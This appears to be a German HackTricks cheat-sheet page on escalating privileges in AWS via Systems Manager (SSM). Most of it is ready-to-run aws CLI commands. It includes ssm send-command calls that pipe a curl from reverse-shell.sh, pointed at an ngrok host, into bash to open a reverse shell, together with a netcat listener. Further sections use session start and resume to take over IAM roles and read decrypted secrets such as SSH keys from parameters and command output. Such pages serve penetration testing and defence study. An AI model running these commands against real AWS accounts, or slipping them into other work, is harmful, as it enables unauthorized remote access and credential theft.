AWS - SSM Privesc

Unterstütze HackTricks

SSM

Für weitere Informationen zu SSM siehe:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ein Angreifer mit der Berechtigung ssm:SendCommand kann Befehle in Instanzen ausführen, die den Amazon SSM-Agenten ausführen, und die IAM-Rolle kompromittieren, die darin läuft.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Falls Sie diese Technik verwenden, um Privilegien innerhalb einer bereits kompromittierten EC2-Instanz zu eskalieren, könnten Sie einfach die rev shell lokal erfassen mit:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten angehängt sind.

ssm:StartSession

Ein Angreifer mit der Berechtigung ssm:StartSession kann eine SSH-ähnliche Sitzung in Instanzen starten, die den Amazon SSM-Agenten ausführen, und die IAM-Rolle kompromittieren, die darin ausgeführt wird.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin installiert: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten angehängt sind.

Privilegieneskalation zu ECS

Wenn ECS-Aufgaben mit ExecuteCommand aktiviert ausgeführt werden, können Benutzer mit ausreichenden Berechtigungen ecs execute-command verwenden, um einen Befehl innerhalb des Containers auszuführen. Laut der Dokumentation geschieht dies durch die Erstellung eines sicheren Kanals zwischen dem Gerät, das Sie verwenden, um den „exec“-Befehl zu initiieren, und dem Zielcontainer mit SSM Session Manager. (SSM Session Manager Plugin ist notwendig, damit dies funktioniert) Daher werden Benutzer mit ssm:StartSession in der Lage sein, eine Shell innerhalb von ECS-Aufgaben mit dieser Option aktiviert zu erhalten, indem sie einfach Folgendes ausführen:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den ECS IAM-Rollen, die an laufende Aufgaben mit aktiviertem ExecuteCommand angehängt sind.

ssm:ResumeSession

Ein Angreifer mit der Berechtigung ssm:ResumeSession kann eine SSH-ähnliche Sitzung in Instanzen neu starten, die den Amazon SSM-Agenten mit einem getrennten SSM-Sitzungsstatus ausführen und die IAM-Rolle kompromittieren, die darin läuft.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten und getrennten Sitzungen angehängt sind.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, die SSM-Parameter aufzulisten und diese im Klartext zu lesen. In diesen Parametern findet man häufig sensible Informationen wie SSH-Schlüssel oder API-Schlüssel.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potenzielle Auswirkungen: Finden Sie sensible Informationen in den Parametern.

ssm:ListCommands

Ein Angreifer mit dieser Berechtigung kann alle Befehle auflisten, die gesendet wurden, und hoffentlich sensible Informationen darin finden.

aws ssm list-commands

Potenzielle Auswirkungen: Finden Sie sensible Informationen in den Befehlszeilen.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ein Angreifer mit diesen Berechtigungen kann alle Befehle auflisten, die gesendet wurden, und die Ausgabe lesen, in der Hoffnung, sensible Informationen darin zu finden.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potenzielle Auswirkungen: Finden Sie sensible Informationen im Output der Befehlszeilen.

Codebuild

Sie können SSM auch verwenden, um in ein Codebuild-Projekt einzudringen, das gerade erstellt wird:

AWS - Codebuild Privesc
Unterstützen Sie HackTricks

Last updated